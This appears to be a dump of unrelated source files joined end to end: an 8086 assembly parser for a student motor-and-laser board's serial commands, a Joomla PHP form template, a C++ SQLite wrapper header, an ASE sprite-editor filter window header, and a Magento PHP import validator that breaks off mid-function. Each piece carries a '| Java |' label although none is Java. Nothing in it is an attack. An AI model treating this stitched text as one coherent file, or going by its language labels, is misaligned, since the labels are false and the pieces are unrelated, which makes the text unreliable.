MOV AH, SBP_ArgGEQOne
ADD AH, BH ; full transition state with proper sign
MOV DS:[DI], AH ; set new state
CALL StoreArgDigit ; digit in AL, stores in
; ParserNumericalArgumentBuffer
; increments arg index state bits'
; ZF implies too many input digits
; (not possible here)
JNZ State3_ValidInput
JZ State3_ParseError
State3_SignInput:
JMP State3_ParseError
State3_ParseError:
CALL SetZF
JMP State3_Done
State3_Execute_Command:
CALL ExecuteCommand
JMP State3_Done
State3_ValidInput:
CALL ClearZF
JMP State3_Done
State3_Done:
RET
Parsing_ArgZero ENDP
; Parsing_ArgGEQOne
; Description: Takes input c in AL in lowercase.
; Sets ZF if parse error noted, else clears.
; The states transitions:
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; Parsing_ArgGEQOne Error, NotParsing c=0-9, 543++ Parsing_ArgGEQOne Error, NotParsing CESURSZFR 4
;
; Arguments: AL, input character c in lowercase
; Return Values: ZF set if parsing error noted
; ZF reset otherwise
; Registers Used: AX, BX (in calls)
; Last Revised: 12/28/2014 SSundaresh created
; PseudoCode.
; Only commands that take arguments get this far.
; is the input a letter? If so, error.
; is the input a number? Stay in this state unless bits 543 > Parser_MAX_DIGITS
; is the input a sign? If so, error.
; is the input a \CR? Call ExecuteCommand, which carries out CESURSZFR.
Parsing_ArgGEQOne PROC NEAR
PUBLIC Parsing_ArgGEQOne
MOV AH, ASCIILetterIdentifier ; identify input class
AND AH, AL
JNZ State4_LetterInput
MOV AH, ASCIINumberIdentifier
AND AH, AL
JNZ State4_NumberInput
MOV AH, ASCIISignIdentifier
AND AH, AL
JNZ State4_SignInput
; only other option is \CR
State4_ASCIICRInput:
JMP State4_Execute_Command
State4_LetterInput:
JMP State4_ParseError ; multi command per line error
State4_NumberInput:
CALL StoreArgDigit ; digit in AL, stores in
; ParserNumericalArgumentBuffer
; increments arg index state bits'
; ZF implies too many input digits
; (not possible here)
JNZ State4_ValidInput
JZ State4_ParseError
State4_SignInput:
JMP State4_ParseError
State4_ParseError:
CALL SetZF
JMP State4_Done
State4_Execute_Command:
CALL ExecuteCommand
JMP State4_Done
State4_ValidInput:
CALL ClearZF
JMP State4_Done
State4_Done:
RET
Parsing_ArgGEQOne ENDP
; Parsing_NoNumbersYet
; Description: Takes input c in AL in lowercase.
; Sets ZF if parse error noted, else clears.
; The states transitions:
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; Parsing_NoNumbersYet Error, NotParsing c=0 , Parsing_ArgZero Error, NotParsing Error, NotParsing 5
; c=1-9, 543++ Parsing_ArgGEQOne
; Arguments: AL, input character c in lowercase
; Return Values: ZF set if parsing error noted
; ZF reset otherwise
; Registers Used: AX, BX (in calls), DI
; Last Revised: 12/28/2014 SSundaresh created
; PseudoCode.
; Only commands that take arguments get this far.
; is the input a letter? If so, error.
; is the input a number? Transition on c=0, 1-9.
; is the input a sign? If so, error.
; is the input a \CR? If so, error.
Parsing_NoNumbersYet PROC NEAR
PUBLIC Parsing_NoNumbersYet
MOV AH, ASCIILetterIdentifier ; identify input class
AND AH, AL
JNZ State5_LetterInput
MOV AH, ASCIINumberIdentifier
AND AH, AL
JNZ State5_NumberInput
MOV AH, ASCIISignIdentifier
AND AH, AL
JNZ State5_SignInput
; only other option is \CR
State5_ASCIICRInput:
JMP State5_ParseError
State5_LetterInput:
JMP State5_ParseError ; multi command per line error
State5_NumberInput:
MOV BH, SignBits
MOV DI, offset(ParserStateBits)
MOV AH, DS:[DI]
AND BH, AH ; get sign bits in BH
CMP AL, '0' ; if number is 0, trans to ArgZero
; else 1-9, transition to ArgGEQOne
; with appropriate sign bit.
JE State5_Transition_ArgZero
JMP State5_Transition_ArgGEQOne
State5_Transition_ArgZero:
MOV AH, SBP_ArgZero
ADD AH, BH ; full transition state with proper sign
MOV DS:[DI], AH ; set new state
JMP State5_ValidInput
State5_Transition_ArgGEQOne:
MOV AH, SBP_ArgGEQOne
ADD AH, BH ; full transition state with proper sign
MOV DS:[DI], AH ; set new state
CALL StoreArgDigit ; digit in AL, stores in
; ParserNumericalArgumentBuffer
; increments arg index state bits'
; ZF implies too many input digits
; (not possible here)
JNZ State5_ValidInput
JZ State5_ParseError
State5_SignInput:
JMP State5_ParseError
State5_ParseError:
CALL SetZF
JMP State5_Done
State5_ValidInput:
CALL ClearZF
JMP State5_Done
State5_Done:
RET
Parsing_NoNumbersYet ENDP
; ExecuteCommand
; Description: Called when a \CR is input to ParseSerialChar
; and the current parse state is otherwise Parsing and valid. For the current
; CommandCharacter, does bounds-checks on the argument in
; ParserNumericalArgumentBuffer if the ZeroSeenBit is not set in the
; ParserStateBits. This requires converting the parsed string argument
; into a signed 16-bit binary number using SignedDecString2Bin,
; an internal conversion function.
;
; If the ZeroSeenBit is set, the argument is understood to be 0.
; If the sign bit is not specified, the argument at this stage is
; understood to be positive.
;
; If the argument fits within a signed word, this function uses
; the sign bit (+,-,none) to determine which execution function would need
; to be called (absolute, relative settings, for example).
; If relative settings are required, the current MotorBoard state is
; accessed and the desired relative mutation is calculated.
; This net (absolute) setting is bounds-checked, on a command-by-command
; basis. If the argument is within bounds, appropriate execution
; functions are called.
; In all cases where arguments are not in bounds, the ZF is set and
; the function immediately returns.
; If the arguments are in bounds, the execution function is called,
; we request that the Motor Board status be transmitted, and we reset the
; parser state to NotParsing to await the next command, then return
; with the ZF reset.
;
;
; Note: If this ParseSerialChar is called when Handlers.EOFlag is set,
; this function will not execute any command but R, and will
; return ZF reset for anything else that makes it here.
;
; Shared Variables: CommandCharacter, ParserNumericalArgumentBuffer,
; ParserStateBits
; Arguments: none
; Return Values:
; ZF set if arguments parsed do not match specified bounds for the CommandChar
; ZF reset if command arguments in valid bounds, and command called.
; Resets parser state to NotParsing if it executes a valid command.
; Registers Used: AX,BX,CX,DX,SI,DI,flags, considering nested functions
; Last Revised: 12/28/2014 SSundaresh created
; 12/29/2014 SSundaresh removed S,T,E commands, added R
; added error handling state
; for parsing after an error.
; only R command is recognized then.
ExecuteCommand PROC NEAR
PUBLIC ExecuteCommand
CALL GetEOFlag
MOV AL, BL ; store EO flag from Handlers.asm in AL
MOV SI, offset(CommandCharacter)
MOV BL, DS:[SI] ; first deal with those that don't
; take arguments
CMP BL, 'r'
JE EXECUTE_COMMAND_R
OR AL, AL ; is EOF set?
JNZ EC_ParsingDuringError ; if so, just return with ZF reset
JZ EC_NO_EOF_SET
EC_ParsingDuringError:
CALL ResetParserState
CALL ClearZF
JMP EC_Done
EC_NO_EOF_SET:
CMP BL, 'f'
JE EXECUTE_COMMAND_F
CMP BL, 'o'
JE EXECUTE_COMMAND_O
; everything else takes an argument
; with clear sign. before splitting
; off to deal on a command-by-command
; basis, do some gross error checking
MOV SI, offset(ParserStateBits)
MOV AL, DS:[SI]
MOV AH, ZeroSeenBit
AND AH, AL
JZ ExecuteWithArgGEQOne ; otherwise, argument 0,
; no need for further error checking
JMP ExecuteWithArgZero
ExecuteWithArgGEQOne:
MOV AH, SignBits
AND AH, AL ; get just sign bits in AH
MOV BH, NegSignBit ; check sign before conversion
; for initial bounds-checking
; if not negative, default positive
CMP AH, BH
JE BOUNDS_CHECK1_NEGATIVE
JNE BOUNDS_CHECK1_POSITIVE
BOUNDS_CHECK1_NEGATIVE:
MOV BH, 1 ; see SignedDecString2Bin spec
; BH contains 1 if sign negative
JMP BOUNDS_CHECK1
BOUNDS_CHECK1_POSITIVE:
MOV BH, 0 ; and 0 if sign positive
JMP BOUNDS_CHECK1
BOUNDS_CHECK1:
MOV BL, AL
AND BL, ArgIndexBits
SHR BL, 3 ; BL contains n, length of arg string
MOV SI, offset(ParserNumericalArgumentBuffer)
; SI contains string offset in DS
CALL SignedDecString2Bin ; now ZF tells us if there's an OF
; and BX contains binarized argument
JZ EC_ParseError
MOV AX, BX ; argument was in loosest bounds
; move to AX and do careful checks
JMP Execute_ArgumentPassedCheck1
ExecuteWithArgZero:
MOV AX, 0
JMP Execute_ArgumentPassedCheck1 ; want to handle all commands
; with same code.
Execute_ArgumentPassedCheck1: ; binarized argument in AX
; get parser state, command char
; in BL, BH
MOV SI, offset(CommandCharacter)
MOV BH, DS:[SI]
MOV SI, offset(ParserStateBits)
MOV BL, DS:[SI]
CMP BH, 'v'
JE EXECUTE_COMMAND_V
CMP BH, 'd'
JE EXECUTE_COMMAND_D
EXECUTE_COMMAND_F:
CALL COMMAND_F
JMP EC_ValidInput
EXECUTE_COMMAND_O:
CALL COMMAND_0
JMP EC_ValidInput
EXECUTE_COMMAND_R:
CALL COMMAND_R
JMP EC_ValidInput
; previous bounds check is suffient here.
EXECUTE_COMMAND_V:
CALL COMMAND_V
JMP EC_ValidInput
EXECUTE_COMMAND_D:
CALL COMMAND_D
JMP EC_ValidInput
EC_ValidInput:
CALL TransmitStatus
CALL ResetParserState
CALL ClearZF
JMP EC_Done
EC_ParseError:
CALL SetZF
JMP EC_Done
EC_Done:
RET
ExecuteCommand ENDP
; See Comments and ExecuteCommand for Details on when the following
; are called. They are stub functions, originally part of ExecuteCommand
; but split to avoid far-jump errors.
; Each of the functions below implements the Serial Command Format Spec.
; For each, below, expect BL = state, AX argument, signed 16bit
COMMAND_F PROC NEAR
PUBLIC COMMAND_F
MOV AX, 1 ; AX nonzero turns laser on
CALL SetLaser
RET
COMMAND_F ENDP
COMMAND_0 PROC NEAR
PUBLIC COMMAND_0
MOV AX, 0 ; see COMMAND_F
CALL SetLaser
RET
COMMAND_0 ENDP
COMMAND_R PROC NEAR
PUBLIC COMMAND_R
MOV AX, 0 ; just set speed, direction to 0
MOV BX, 0
CALL SetMotorSpeed
CALL ClearEOFlag ; clear error_occurred flag just
; in case that's why we saw R
RET
COMMAND_R ENDP
COMMAND_V PROC NEAR
PUBLIC COMMAND_V
PUSH AX
CALL GetMotorSpeed
MOV BX, AX
POP AX ; AX = relative speed in [-32768,32767]
; BX = current speed in [0,65534]
; if we consider TEST11, which
; is of the form
; S+32767 = 7fff
; V+32767 = 7fff
; Expected Output: Speed fffe.
; So, here, we make a decision:
; If V forces speed > 65534 by adding,
; we truncate to 65534.
; If V forces speed < 0 by adding
; we truncate to 0.
; BX can be in [0,fffe] unsigned
; AX can be in [-8000,7fff] signed
; so break it up.
; if BX SF is set, AX > 0
; -BX works out to 2^16-BX >= 2
; so if AX >= |2^16-BX|-2
; we'll hit either ffff or overflow,
; both of which are bad for us.
; if BX SF is set, AX < 0
; no issue when we just add
; if BX SF is unset, AX > 0
; no issue when we just add
; if BX SF is unset, AX < 0
; if BX + AX < 0 we set to 0 instead
OR BX, BX ; set SF by BX
JS BX_SF_SET
JNS BX_SF_UNSET
BX_SF_SET:
CMP AX, 0
JLE COMMAND_V_JustAdd
MOV CX, BX ; AX > 0
NEG CX ; this acts like |2^16-BX| effectively for AX > 0, at least
MOV DI, 2
NEG DI
ADD CX, DI ; |2^16-BX|-2
CMP AX, CX
JGE COMMAND_V_MAX_SPEED
JL COMMAND_V_JustAdd
BX_SF_UNSET:
CMP AX, 0
JGE COMMAND_V_JustAdd
JL COMMAND_V_CompareMagnitudes ; AX < 0, is -AX > BX, will BX+AX < 0?
COMMAND_V_CompareMagnitudes:
MOV CX, AX
NEG CX
CMP CX, BX
JLE COMMAND_V_JustAdd
JG COMMAND_V_Halt ; negative result, so halt
COMMAND_V_JustAdd:
ADD AX, BX
MOV BX, SAME_ANGLE
CALL SetMotorSpeed
JMP V_DONE
COMMAND_V_Halt:
MOV AX, 0
MOV BX, SAME_ANGLE
CALL SetMotorSpeed
JMP V_DONE
COMMAND_V_MAX_SPEED:
MOV AX, MAX_SPEED
MOV BX, SAME_ANGLE
CALL SetMotorSpeed
JMP V_DONE
V_DONE:
RET
COMMAND_V ENDP
COMMAND_D PROC NEAR
PUBLIC COMMAND_D
; the spec assumes CW angles
; but in Motors I made my case for
; why CCW made more sense given
; the test cases for HW6 so
; 'right' and 'left' here mean
; decrease and increase theta
; respectively, from my POV.
; get Current Direction in [0,359]
; know our angle is of the form
; [-32768, 32767]
; don't want to risk overflow,
; and don't want to risk
; sending 32768 by accident
; (seen as SAME but not from
; this command's perspective).
; if positive, subtract 720
; with no risk of overflow
; if negative, add 720
; with no risk of overflow
; and without changing
; the direction mod 360.
;
; then just add to Current Direction
; and rely on
; SetMotorSpeed(65535, new angle)
; to calculate the modulus.
OR AX, AX ; get SF set
JS ADD_720
JNS SUB_720
ADD_720:
ADD AX, 720
JMP COMMANDD_UPDATE_DIRECTION
SUB_720:
SUB AX, 720
JMP COMMANDD_UPDATE_DIRECTION
COMMANDD_UPDATE_DIRECTION:
MOV BX, AX ; store our argument
CALL GetMotorDirection
; AX holds current direction in 0,359
ADD BX, AX
MOV AX, SAME_SPEED
CALL SetMotorSpeed
RET
COMMAND_D ENDP
; Code Segment Arrays for
; Numerical String Conversion Constants (internal conversions)
; MaxPositiveArgument
; A code segment array containing the ASCII string '32767'
;
; Author: SSundaresh
; Last Modified: 12/28/2014
MaxPositiveArgument LABEL BYTE
PUBLIC MaxPositiveArgument
DB '3'
DB '2'
DB '7'
DB '6'
DB '7'
; MaxNegativeArgument
; A code segment array containing the ASCII string '32768'
;
; Author: SSundaresh
; Last Modified: 12/28/2014
MaxNegativeArgument LABEL BYTE
PUBLIC MaxNegativeArgument
DB '3'
DB '2'
DB '7'
DB '6'
DB '8'
; SignedDecString2Bin
;
; Note
; I do not believe this function belongs in Converts.asm.
; It is too specific to the problem at hand, and its input
; specifications are strict enough that
; I'd not likely use it again for another purpose.
; So this feels more like an internal (private) function to me.
;
; Arguments:
; Takes a string from 1-5 ASCII decimal digits at address DS:SI, passed in SI
; by reference, without leading zeros (i.e. binary magnitude is greater than 0)
; and ordered in index 0..n-1 (n length) from MSD to LSD.
; Takes an intended sign in BH (0 +, 1 -) and
; takes the string length in BL.
; Return Values:
; Returns in BX the word equivalent of the
; signed decimal string if there is no overflow during conversion,
; i.e. if the string is of the form [-32768, +32767],
; and resets the ZF. Otherwise sets the ZF to signify an overflow.
; Operation
; First, we take advantage of the fact that ASCII 0-9 are numerically
; ordered in their binary encoding as well, to decide whether
; our input string will fit in [-32768, +32767].
; If the string length is =5, we compare char by char with the
; code-strings '32678' (if the sign is negative) or
; '32767' (if the sign is positive) from MSD to LSD.
; The first time our input char is less than those code-strings,
; we stop, we know we have no overflow. If we reach the end and are
; at most equal to those code-strings, still no issue.
; If in this way, we at some point are greater than the code-strings,
; we will have an overflow so we set the ZF and exit.
; If the string length is <5, we're fine.
; If we've reached this point we can convert the string input, raw,
; as a positive quantity in [0,32768] and negate it afterwards if
; need be, with no worry about overflow.
; Convert raw characters ASCII to binary by masking high 4 bits of
; argument characters, which yield binary 0-9 in the low nibble.
; As there are n>0 characters to process, the first has power
; 10^(n-1), so we can multiply by this. We store this
; then proceed to the next digit, multiply by 10^(n-2), add, store,
; repeat till we're out of input characters.
; The result is negated if the input sign value was 1, and remains
; as is if the input sign value was 0.
; This is returned in BX along with a reset ZF.
; Constants: MaxPositiveArgument, MaxNegativeArgument code strings
; Local Variables (meaning changes, so some are shown twice):
; First, INIT OVERFLOW CHECk
; SI, address of string of magnitude > 0, no leading 0's, to convert
; BL, string length, n in 1-5
; BH, intended sign, {0,+}, {1,-}
; then CODE-STRING-COMPARISON
; CX, characters left to compare
; AL, current character being compared between code-string and input string
; SI, BX, offset addresses in input/code string
; then PWR10-CALCULATION
;
; then CONVERSION
; SI, absolute index in input string during conversion
; BL, string length, n in 1..5 used as relative index
; CX, current power of 10 for conversion from [10^4..10^0]
; DI, stored sum (intermediate conversion term)
; Registers Used: AX, BX, CX, DX, DI, SI
; Stack Depth: 0 words
;
; Last Revised: 12/28/2014 SSundaresh created
SignedDecString2Bin PROC NEAR
PUBLIC SignedDecString2Bin
PUSH BX ; going to need these saved for
PUSH SI ; when we actually start converting
; error checking:
; see arguments
; BL in 1..5
CMP BL, 5 ; if we need to convert less than 4
; digits, we cannot overflow a word
JL START_Dec2Bin_CONVERSION
JMP POSSIBLE_OVERFLOW ; should only be < or =
POSSIBLE_OVERFLOW:
MOV CL, BL
XOR CH, CH ; CX now contains n = 5, length of both
; CS:MaxNegativeArgument and input string
; in DS:SI
CMP BH, 0 ; see arguments, + sign intended
JE CHECK_POSITIVE_OVERFLOW
JNE CHECK_NEGATIVE_OVERFLOW
CHECK_NEGATIVE_OVERFLOW:
MOV BX, offset(MaxNegativeArgument)
JMP COMPARISON_LOOP
CHECK_POSITIVE_OVERFLOW:
MOV BX, offset(MaxPositiveArgument)
JMP COMPARISON_LOOP
COMPARISON_LOOP:
MOV AL, CS:[BX]
CMP AL, DS:[SI]
JG START_Dec2Bin_CONVERSION ; can't overflow, guaranteed
JL GUARANTEED_OVERFLOW ; will overflow
INC SI ; not yet sure
INC BX
DEC CX
CMP CX, 0
JE START_Dec2Bin_CONVERSION ; exact equality between strings - no issue
JMP COMPARISON_LOOP
GUARANTEED_OVERFLOW:
POP SI
POP BX ; so stack untouched
CALL SetZF
JMP Dec2Bin_Conversion_DONE
START_Dec2Bin_CONVERSION:
POP SI
POP BX ; restore arguments.. need original BL
PUSH BX ; calculate initial power of 10, uses BX, store
; original arguments again
MOV CL, BL
XOR CH, CH ; CX holds string length n
DEC CX ; CX holds n - 1
MOV AX, 1 ; AX holds 1
XOR DX, DX ; clear DX for DX:AX word multiplication
; as pwr10 for n = 4 can be more than a byte
MOV BX, 10 ; word 10 for word MUL by BX
PWR10LOOP:
CMP CX, 0
JE INIT_PWR10_FOUND
MUL BX ; will fit in AX, DX as 0:AX <- AX * 10
DEC CX
JMP PWR10LOOP
INIT_PWR10_FOUND: ; it is in AX
POP BX ; restore BX, original argument: BL, n,BH,+0,-1
; SI: original string address in DS
XOR DI, DI ; DI will be our accumulator
MOV CX, AX ; CX our current power of 10
CONVERSION_LOOP:
XOR DX, DX ; clear DX for word mul
MOV AL, DS:[SI]
XOR AH, AH
AND AL, LOWNIBBLEMASK ; ASCIIDecimal2Bin conversion of ASCII char
MUL CX ; DX <- 0, guaranteed
; AX <- pwr10*[0-9], no overflow
ADD DI, AX ; store in accumulator
XOR DX, DX ; prepare to calculate CX = pwr10 / 10
MOV AX, CX
MOV CX, 10 ; need word division as can have up to 10000/10
; = 1000 > byte. no remainders expected.
DIV CX
MOV CX, AX ; pwr10 -> pwr10/10
INC SI
DEC BL
CMP BL, 0
JG CONVERSION_LOOP
CMP BH, 1
JE NEGATE_CONVERTED ; BH still contains sign input argument
JMP PREPARE_TO_OUTPUT ; positive conversions are already ok
NEGATE_CONVERTED:
NEG DI
JMP PREPARE_TO_OUTPUT
PREPARE_TO_OUTPUT:
MOV BX, DI ; want to output in BX
CALL ClearZF
JMP Dec2Bin_Conversion_DONE
Dec2Bin_Conversion_DONE:
RET
SignedDecString2Bin ENDP
; ResetParserState
; Description: clear state bits, i.e. set to Not_Parsing state.
; Operational Notes: we only change state bits outside interrupts
; so this is not critical.
; Registers Used: AX, SI
; Last Revised: 12/27/2014 SSundaresh created
ResetParserState PROC NEAR
PUBLIC ResetParserState
MOV AL, STATE_BITS_NOT_PARSING
MOV SI, offset(ParserStateBits)
MOV DS:[SI], AL
RET
ResetParserState ENDP
; Valid_Characters
; A code segment array containing the valid input characters.
; This effectively says, non-valid characters are ignored (whitespace
; included)
;
; Author: SSundaresh
; Last Modified: 12/29/2014 for HW9
Valid_Characters LABEL BYTE
PUBLIC Valid_Characters
DB 'v' ; set relative speed
DB 'V'
DB 'd' ; set direction
DB 'D'
DB 'f' ; fire laser
DB 'F'
DB 'o' ; laser off
DB 'O'
DB 'r' ; reset motors, direction
DB 'R'
DB '0' ; numerical argument digits
DB '1'
DB '2'
DB '3'
DB '4'
DB '5'
DB '6'
DB '7'
DB '8'
DB '9'
DB '+' ; numerical argument sign
DB '-'
DB ASCII_CR ; carriage return, ctrl-M
CODE ENDS
;Shared Variables
DATA SEGMENT PUBLIC 'DATA'
; the command character whose argument we're currently trying to parse.
CommandCharacter DB ?
;LSB
;0 1, Parsing a command. 0, not parsing, idle.
;1,2 0,0 sign character unknown
; 0,1 - sign
; 1,0 + sign
; 1,1 unsigned
;3,4,5 next index in the ParserArgumentBuffer, read as a 3-bit binary number
;6 unused
;7 1: have seen at least one 'starting zero'
;MSB
ParserStateBits DB ?
; Store parsed numbers known to be arguments of a command
; indexed by state bits 3-5
ParserNumericalArgumentBuffer DB Parser_MAX_DIGITS DUP (?)
DATA ENDS
END | Java |
<?php
defined('_JEXEC') or die;
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
?>
<form
action="<?php echo JRoute::_('index.php?option=com_bookpro&id=' . (int) $this->item->id); ?>"
method="post" id="adminForm" name="adminForm" class="form-validate">
<div class="row-fluid">
<div class="span10 form-horizontal">
<fieldset>
<div class="control-group">
<!--
<label class="control-label" for="title"><?php echo JText::_('COM_BOOKPRO_TOURS'); ?>
</label>
<div class="controls">
<?php echo $this->form->getInput('tour_id'); ?>
</div>
</div>
-->
<div class="control-group">
<div class="control-label"><?php echo $this->form->getLabel('title'); ?></div>
<div class="controls"><?php echo $this->form->getInput('title'); ?></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo $this->form->getLabel('type'); ?></div>
<div class="controls"><?php echo $this->form->getInput('type'); ?></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo $this->form->getLabel('obj_id'); ?></div>
<div class="controls"><?php echo $this->form->getInput('obj_id'); ?></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo $this->form->getLabel('desc'); ?></div>
<div class="controls"><?php echo $this->form->getInput('desc'); ?></div>
</div>
</fieldset>
</div>
<?php echo JLayoutHelper::render('joomla.edit.details', $this); ?>
</div>
<div>
<?php echo $this->form->getInput('tour_id',null,$this->tour_id); ?>
<input type="hidden" name="task" value="" />
<input type="hidden" name="return" value="<?php echo JRequest::getCmd('return');?>" />
<?php echo JHtml::_('form.token'); ?>
</div>
</form>
| Java |
//
// Copyright (C) 2010 Piotr Zagawa
//
// Released under BSD License
//
#pragma once
#include "sqlite3.h"
#include "SqlCommon.h"
#include "SqlFieldSet.h"
#include "SqlRecordSet.h"
namespace sql
{
class Table
{
private:
sqlite3* _db;
string _tableName;
RecordSet _recordset;
public:
Table(sqlite3* db, string tableName, Field* definition);
Table(sqlite3* db, string tableName, FieldSet* fields);
public:
string name();
string getDefinition();
string toString();
string errMsg();
FieldSet* fields();
sqlite3* getHandle();
public:
bool create();
bool exists();
bool remove();
bool truncate();
public:
bool open();
bool open(string whereCondition);
bool open(string whereCondition, string sortBy);
bool query(string queryStr);
int totalRecordCount();
public:
int recordCount();
Record* getRecord(int record_index);
Record* getTopRecord();
Record* getRecordByKeyId(integer keyId);
public:
bool addRecord(Record* record);
bool updateRecord(Record* record);
bool deleteRecords(string whereCondition);
bool copyRecords(Table& source);
bool backup(Table& source);
public:
static Table* createFromDefinition(sqlite3* db, string tableName, string fieldsDefinition);
};
//sql eof
};
| Java |
/* ASE - Allegro Sprite Editor
* Copyright (C) 2001-2011 David Capello
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef COMMANDS_FILTERS_FILTER_WINDOW_H_INCLUDED
#define COMMANDS_FILTERS_FILTER_WINDOW_H_INCLUDED
#include "gui/box.h"
#include "gui/button.h"
#include "gui/frame.h"
#include "commands/filters/filter_preview.h"
#include "commands/filters/filter_target_buttons.h"
#include "filters/tiled_mode.h"
class FilterManagerImpl;
// A generic window to show parameters for a Filter with integrated
// preview in the current editor.
class FilterWindow : public Frame
{
public:
enum WithChannels { WithChannelsSelector, WithoutChannelsSelector };
enum WithTiled { WithTiledCheckBox, WithoutTiledCheckBox };
FilterWindow(const char* title, const char* cfgSection,
FilterManagerImpl* filterMgr,
WithChannels withChannels,
WithTiled withTiled,
TiledMode tiledMode = TILED_NONE);
~FilterWindow();
// Shows the window as modal (blocking interface), and returns true
// if the user pressed "OK" button (i.e. wants to apply the filter
// with the current settings).
bool doModal();
// Starts (or restart) the preview procedure. You should call this
// method each time the user modifies parameters of the Filter.
void restartPreview();
protected:
// Changes the target buttons. Used by convolution matrix filter
// which specified different targets for each matrix.
void setNewTarget(Target target);
// Returns the container where derived classes should put controls.
Widget* getContainer() { return &m_container; }
void onOk(Event& ev);
void onCancel(Event& ev);
void onShowPreview(Event& ev);
void onTargetButtonChange();
void onTiledChange();
// Derived classes WithTiledCheckBox should set its filter's tiled
// mode overriding this method.
virtual void setupTiledMode(TiledMode tiledMode) { }
private:
const char* m_cfgSection;
FilterManagerImpl* m_filterMgr;
Box m_hbox;
Box m_vbox;
Box m_container;
Button m_okButton;
Button m_cancelButton;
FilterPreview m_preview;
FilterTargetButtons m_targetButton;
CheckBox m_showPreview;
CheckBox* m_tiledCheck;
};
#endif
| Java |
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\CatalogImportExport\Model\Import\Product;
use Magento\CatalogImportExport\Model\Import\Product;
use Magento\Framework\Validator\AbstractValidator;
use Magento\Catalog\Model\Product\Attribute\Backend\Sku;
/**
* Class Validator
*
* @api
* @since 100.0.2
*/
class Validator extends AbstractValidator implements RowValidatorInterface
{
/**
* @var RowValidatorInterface[]|AbstractValidator[]
*/
protected $validators = [];
/**
* @var \Magento\CatalogImportExport\Model\Import\Product
*/
protected $context;
/**
* @var \Magento\Framework\Stdlib\StringUtils
*/
protected $string;
/**
* @var array
*/
protected $_uniqueAttributes;
/**
* @var array
*/
protected $_rowData;
/**
* @var string|null
* @since 100.1.0
*/
protected $invalidAttribute;
/**
* @param \Magento\Framework\Stdlib\StringUtils $string
* @param RowValidatorInterface[] $validators
*/
public function __construct(
\Magento\Framework\Stdlib\StringUtils $string,
$validators = []
) {
$this->string = $string;
$this->validators = $validators;
}
/**
* Text validation
*
* @param mixed $attrCode
* @param string $type
* @return bool
*/
protected function textValidation($attrCode, $type)
{
$val = $this->string->cleanString($this->_rowData[$attrCode]);
if ($type == 'text') {
$valid = $this->string->strlen($val) < Product::DB_MAX_TEXT_LENGTH;
} else if ($attrCode == Product::COL_SKU) {
$valid = $this->string->strlen($val) <= SKU::SKU_MAX_LENGTH;
} else {
$valid = $this->string->strlen($val) < Product::DB_MAX_VARCHAR_LENGTH;
}
if (!$valid) {
$this->_addMessages([RowValidatorInterface::ERROR_EXCEEDED_MAX_LENGTH]);
}
return $valid;
}
/**
* Check if value is valid attribute option
*
* @param string $attrCode
* @param array $possibleOptions
* @param string $value
* @return bool
*/
private function validateOption($attrCode, $possibleOptions, $value)
{
if (!isset($possibleOptions[strtolower($value)])) {
$this->_addMessages(
[
sprintf(
$this->context->retrieveMessageTemplate(
RowValidatorInterface::ERROR_INVALID_ATTRIBUTE_OPTION
),
$attrCode
)
]
);
return false;
}
return true;
}
/**
* Numeric validation
*
* @param mixed $attrCode
* @param string $type
* @return bool
*/
protected function numericValidation($attrCode, $type)
{
$val = trim($this->_rowData[$attrCode]);
if ($type == 'int') {
$valid = (string)(int)$val === $val;
} else {
$valid = is_numeric($val);
}
if (!$valid) {
$this->_addMessages(
[
sprintf(
$this->context->retrieveMessageTemplate(RowValidatorInterface::ERROR_INVALID_ATTRIBUTE_TYPE),
$attrCode,
$type
)
]
);
}
return $valid;
}
/**
* Is required attribute valid
*
* @param string $attrCode
* @param array $attributeParams
* @param array $rowData
* @return bool
*/
public function isRequiredAttributeValid($attrCode, array $attributeParams, array $rowData)
{
$doCheck = false;
if ($attrCode == Product::COL_SKU) {
$doCheck = true;
} elseif ($attrCode == 'price') {
$doCheck = false;
} elseif ($attributeParams['is_required'] && $this->getRowScope($rowData) == Product::SCOPE_DEFAULT
&& $this->context->getBehavior() != \Magento\ImportExport\Model\Import::BEHAVIOR_DELETE
) {
$doCheck = true;
}
if ($doCheck === true) {
return isset($rowData[$attrCode])
&& strlen(trim($rowData[$attrCode]))
&& trim($rowData[$attrCode]) !== $this->context->getEmptyAttributeValueConstant();
}
return true;
}
/**
* Is attribute valid
*
* @param string $attrCode
* @param array $attrParams
* @param array $rowData
* @return bool
* @SuppressWarnings(PHPMD.CyclomaticComplexity)
* @SuppressWarnings(PHPMD.NPathComplexity)
*/
public function isAttributeValid($attrCode, array $attrParams, array $rowData)
{
$this->_rowData = $rowData;
if (isset($rowData['product_type']) && !empty($attrParams['apply_to'])
&& !in_array($rowData['product_type'], $attrParams['apply_to'])
) {
return true;
}
if (!$this->isRequiredAttributeValid($attrCode, $attrParams, $rowData)) {
$valid = false;
$this->_addMessages(
[
sprintf(
$this->context->retrieveMessageTemplate(
RowValidatorInterface::ERROR_VALUE_IS_REQUIRED
),
$attrCode
)
]
);
return $valid;
}
if (!strlen(trim($rowData[$attrCode]))) {
return true;
}
if ($rowData[$attrCode] === $this->context->getEmptyAttributeValueConstant() && !$attrParams['is_required']) {
return true;
}
switch ($attrParams['type']) {
case 'varchar':
case 'text':
$valid = $this->textValidation($attrCode, $attrParams['type']);
break;
case 'decimal':
case 'int':
$valid = $this->numericValidation($attrCode, $attrParams['type']);
break;
case 'select':
case 'boolean':
$valid = $this->validateOption($attrCode, $attrParams['options'], $rowData[$attrCode]);
break;
case 'multiselect':
$values = $this->context->parseMultiselectValues($rowData[$attrCode]);
foreach ($values as $value) {
$valid = $this->validateOption($attrCode, $attrParams['options'], $value);
if (!$valid) {
break;
}
}
